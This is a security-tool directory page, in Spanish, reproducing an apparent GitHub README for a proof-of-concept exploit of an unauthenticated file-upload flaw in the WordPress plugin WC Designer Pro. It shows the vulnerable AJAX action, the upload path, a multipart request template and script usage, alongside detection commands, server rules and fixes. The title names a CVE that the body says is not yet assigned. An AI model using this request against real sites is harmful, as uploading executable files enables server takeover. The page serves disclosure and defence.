Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-6440-Poc-Exploit | Kitploit
Herramientas/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Ver Repositorio
12hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WC Designer Pro — Carga Arbitraria de Archivos sin Autenticación

Prueba de concepto de investigación de seguridad

Python WordPress Research

CWE Severity Authentication

Una prueba de concepto no destructiva para una vulnerabilidad de carga arbitraria de archivos sin autenticación que afecta al plugin de WordPress WC Designer Pro.


Tabla de contenidos

  • Descripción general de la vulnerabilidad
  • Impacto de seguridad
  • Versiones afectadas
  • Causa raíz
  • Flujo del ataque
  • Requisitos
  • Instalación
  • Uso
  • Detalles técnicos
  • Verificación segura
  • Indicadores de exposición
  • Remediación
  • Uso legal y ético
  • Estado de divulgación
  • Referencias
  • Créditos

Descripción general de la vulnerabilidad

WC Designer Pro contiene una vulnerabilidad de carga arbitraria de archivos sin autenticación en una acción AJAX expuesta a través del endpoint admin-ajax.php de WordPress.

El controlador afectado procesa metadatos de archivo y contenidos de archivo controlados por el usuario sin aplicar autenticación, autorización, validación de extensiones, validación de tipo MIME ni restricciones de nombre de archivo en el servidor.

En configuraciones vulnerables, un atacante sin autenticación podría cargar un archivo ejecutable por el servidor en un directorio accesible por web. La explotación exitosa puede resultar en la ejecución remota de código con los privilegios del proceso del servidor web.

El rango exacto de versiones afectadas, el identificador CVE y la puntuación CVSS solo deben publicarse después de haber sido verificados de forma independiente.


Impacto de seguridad

La explotación exitosa podría permitir a un atacante sin autenticación:

  • Cargar archivos no autorizados en la instalación de WordPress.
  • Almacenar archivos en un directorio de subidas de acceso público.
  • Ejecutar código en el servidor cuando se aceptan extensiones ejecutables.
  • Leer o modificar datos accesibles para la cuenta del servidor web.
  • Comprometer la instalación de WordPress afectada.
  • Utilizar el servidor comprometido como punto de apoyo para ataques posteriores.

El impacto final depende de la configuración del servidor web, las reglas de ejecución de PHP, los permisos del sistema de archivos y los controles de seguridad implementados por el proveedor de alojamiento.


Versiones afectadas

El rango de versiones afectadas se está validando actualmente.

root@kitploit:~
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

No afirmar que todas las versiones están afectadas a menos que las pruebas o la confirmación del proveedor respalden esa conclusión.


Causa raíz

El flujo de carga vulnerable parece confiar en valores controlados por el atacante proporcionados a la siguiente acción AJAX:

root@kitploit:~
wcdp_save_canvas_design_ajax

La solicitud contiene metadatos de archivo como:

  • Extensión de archivo
  • Identificador de archivo
  • Identificador de destino
  • Contenido del archivo cargado

La vulnerabilidad existe cuando el servidor acepta estos valores sin realizar todos los controles siguientes:

  1. Comprobaciones de autenticación y autorización.
  2. Validación del nonce de WordPress.
  3. Lista de permitidos estricta de extensiones.
  4. Validación del tipo MIME basada en el contenido del archivo.
  5. Normalización y saneamiento del nombre de archivo.
  6. Aplicación de un destino de carga no ejecutable.
  7. Prevención del acceso web directo a los archivos temporales.

Flujo del ataque

root@kitploit:~
Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

La ruta de carga observada sigue esta estructura:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

La ruta exacta puede variar según la versión del plugin, la configuración de WordPress y el entorno del servidor.


Requisitos

  • Python 3.8 o superior
  • pip
  • Un entorno de laboratorio de WordPress
  • Un objetivo autorizado
  • Una instalación vulnerable de WC Designer Pro

Esta prueba de concepto no debe utilizarse contra sistemas de terceros sin autorización explícita por escrito.


Instalación

Clona el repositorio:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Crea y activa un entorno virtual:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

En Windows:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Instala las dependencias:

root@kitploit:~
pip install -r requirements.txt

Ejemplo de requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Uso

La prueba de concepto debe ejecutarse únicamente contra un único objetivo de laboratorio autorizado.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Para una verificación no destructiva:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Ejemplo de archivo de verificación:

root@kitploit:~
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

Usa el comando de ayuda integrado para ver los argumentos admitidos:

root@kitploit:~
python3 exploit.py --help

Salida de ejemplo:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

Detalles técnicos

Endpoint vulnerable

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

La solicitud invoca:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

A continuación se muestra una estructura simplificada de la solicitud:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

Este ejemplo utiliza intencionadamente un archivo de texto no ejecutable.

Respuesta observada

Una solicitud exitosa puede devolver una respuesta similar a:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Una respuesta exitosa por sí sola no demuestra la ejecución remota de código. El investigador debe confirmar por separado que:

  1. El archivo fue creado.
  2. El archivo es accesible.
  3. El directorio de destino permite la ejecución en el servidor.
  4. La prueba se realizó en un entorno autorizado.

Verificación segura

El procedimiento de verificación recomendado es:

  1. Implementar WordPress en un entorno local aislado.
  2. Instalar la versión del plugin sospechosa de ser vulnerable.
  3. Crear un archivo marcador .txt inofensivo.
  4. Enviar el marcador mediante la acción AJAX afectada.
  5. Confirmar si el archivo se almacenó sin autenticación.
  6. Registrar la solicitud y la respuesta HTTP.
  7. Eliminar el archivo marcador cargado.
  8. Destruir o restablecer el entorno de laboratorio.

Evita cargar webshells o payloads de ejecución de comandos cuando un archivo marcador inofensivo sea suficiente para demostrar la vulnerabilidad.

Evidencia esperada

Un informe válido debe contener:

  • Versión de WordPress.
  • Versión de WC Designer Pro.
  • Versiones del servidor web y de PHP.
  • Solicitud HTTP completa.
  • Respuesta HTTP completa.
  • Ruta del archivo resultante.
  • Prueba de que no se utilizó ninguna sesión autenticada.
  • Captura de pantalla o registro que confirme el marcador cargado.
  • Confirmación de la limpieza.

Indicadores de exposición

Los administradores deben inspeccionar el siguiente directorio:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

Los indicadores potenciales incluyen:

  • Archivos ejecutables inesperados como .php, .phtml, .phar o similares.
  • Subdirectorios con nombres aleatorios.
  • Archivos creados por usuarios desconocidos.
  • Solicitudes a admin-ajax.php que utilizan la acción AJAX afectada.
  • Solicitudes HTTP que acceden a archivos recién creados dentro del directorio de carga temporal.
  • Procesos hijos creados inesperadamente por el proceso de PHP o del servidor web.

Búsqueda de ejemplo en registros:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Búsqueda de ejemplo en el sistema de archivos:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Remediación

Los administradores del sitio deben:

  1. Actualizar WC Designer Pro a una versión parcheada confirmada cuando esté disponible.
  2. Deshabilitar y eliminar el plugin cuando no haya un parche disponible.
  3. Bloquear la ejecución de scripts en el servidor dentro de los directorios de carga de WordPress.
  4. Inspeccionar el directorio de carga temporal en busca de archivos no autorizados.
  5. Revisar los registros de acceso del servidor web en busca de intentos de explotación.
  6. Rotar las salts de WordPress y las credenciales administrativas si se sospecha de un compromiso.
  7. Rotar las credenciales de base de datos, alojamiento, FTP, SSH y API cuando corresponda.
  8. Reconstruir la instalación de WordPress a partir de fuentes de confianza después de un compromiso confirmado.

Configuración recomendada del servidor

Para Nginx, denegar la ejecución de PHP dentro de las subidas:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Para Apache, colocar una regla adecuada dentro del directorio de subidas:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Estos controles son medidas de defensa en profundidad y no sustituyen la corrección del código vulnerable del plugin.

Controles recomendados a nivel de código

Los mantenedores del plugin deben:

  • Exigir autenticación cuando corresponda.
  • Verificar las capacidades del usuario con current_user_can().
  • Exigir y validar un nonce de WordPress.
  • Usar una lista de permitidos estricta de extensiones permitidas.
  • Validar los archivos usando wp_check_filetype_and_ext().
  • Generar nombres de archivo en el servidor.
  • Almacenar los archivos temporales fuera de la raíz web cuando sea posible.
  • Impedir que se almacene contenido ejecutable en los directorios de carga.
  • Devolver errores genéricos sin exponer rutas internas.

Uso legal y ético

Este repositorio está destinado exclusivamente a:

  • Pruebas de penetración autorizadas.
  • Investigación de vulnerabilidades.
  • Validación defensiva.
  • Educación en seguridad.
  • Reproducción en entornos de laboratorio aislados.

No uses este código para acceder, modificar, interrumpir o comprometer sistemas sin autorización explícita.

El autor no es responsable del uso no autorizado, ilegal o abusivo de este material. Los usuarios son los únicos responsables de cumplir con las leyes, contratos, reglas de enfrentamiento y requisitos de divulgación coordinada de vulnerabilidades aplicables.


Estado de divulgación

root@kitploit:~
Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

No publiques un CVE de marcador de posición como si fuera un identificador asignado.

Cuando se asigne un CVE, reemplaza el marcador de posición con el registro oficial:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

Referencias

  • Seguridad de Plugins de WordPress
  • Documentación de AJAX de WordPress
  • Hoja de Referencia de Carga de Archivos de OWASP
  • Carga de Archivos Sin Restricciones de OWASP
  • CWE-434: Carga sin restricciones de archivos con tipo peligroso

Créditos

m2hcz
Investigador de Seguridad Ofensiva
GitHub · Portafolio

Changelog

v1.0.0

  • Se añadió el flujo de trabajo de verificación de vulnerabilidades.
  • Se añadió soporte para archivos marcadores no destructivos.
  • Se añadió la detección de exposición del endpoint y del plugin.
  • Se añadió la recopilación estructurada de evidencia.
  • Se añadieron el tiempo de espera de solicitudes y el manejo de errores.
  • Se añadieron las guías de remediación y respuesta a incidentes.

La investigación de seguridad debe reducir el riesgo, no crearlo.

Hecho para pruebas de seguridad autorizadas por m2hcz.

Descargar herramienta
PropiedadValor
ProductoWC Designer Pro
PlataformaWordPress
Clase de vulnerabilidadCarga arbitraria de archivos sin restricciones
CWECWE-434
Autenticación requeridaNo
Interacción del usuario requeridaNo
Impacto potencialEjecución remota de código
Complejidad del ataqueBaja
Componente vulnerableManejador de carga AJAX de WordPress
Acción AJAXwcdp_save_canvas_design_ajax